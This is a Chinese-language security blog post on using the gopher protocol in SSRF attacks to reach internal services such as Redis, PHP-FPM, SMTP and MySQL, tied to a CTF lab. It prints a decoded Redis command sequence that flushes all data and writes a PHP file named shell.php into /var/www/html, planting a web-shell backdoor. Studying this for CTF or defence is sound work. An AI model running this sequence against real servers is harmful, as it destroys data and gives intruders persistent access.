gopher-协议

admin 2024年10月15日12:57:56评论32 views字数 800阅读2分40秒阅读模式

Gopher 协议 #

在 http 出现之前,访问网页需要输入的是

gopher://gopher.baidu.com/

而不是

https://www.baidu.com/

而它被代替的原因一方面是收费,另一方面的原因是它固化的结构没有HTML网页灵活

利用 gopher 的方式有 FTP 爆破,REDIS,MYSQL,FAST CGI,XXE

一些常用服务 #

Redis6379

FPM 9000

Smtp 25

Mysql3306

常用的协议

dict 、gopher

以下为经典的 Redis 未授权访问,以及常用 payload 的生成

利用方式 #

比如常见的,web 有一个 curl 的功能,然后可以访问内网靶机,就可以用类似的方式进行命令传递

( payload 每经过一次传递就会被解码一次 )

redis

gopher-协议

Smtp 生成 payload

gopher-协议

Fpm 生成 payload

gopher-协议

gopher支持多行。因此要在传输的数据前加一个无用字符。比如 gopher://ip:port/_ 通常用 _ 并不是只能用 _ ,gopher协议会吃掉第一个字符

关于 redis #

redis 的格式:每一个 *number 代表每一行命令,number 代表每行命令中数组中的元素个数。$number 代表每个元素的长度。

URL解码后可以看到创建 shell 的完整流程

$8//元素长度为8
flushall
*3//3个元素
$3
set
$1
1
$31

<?php echo "hello world" ?>

*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

1234567891011121314151617181920212223242526272829303132

即为redis将输入的语句保存在指定位置的php文件中,生成后门

相关环境: #

BUUCTF[GKCTF_EZWEB]

- source:wiki.wgpsec.org

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月15日12:57:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   gopher-协议http://cn-sec.com/archives/3270884.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息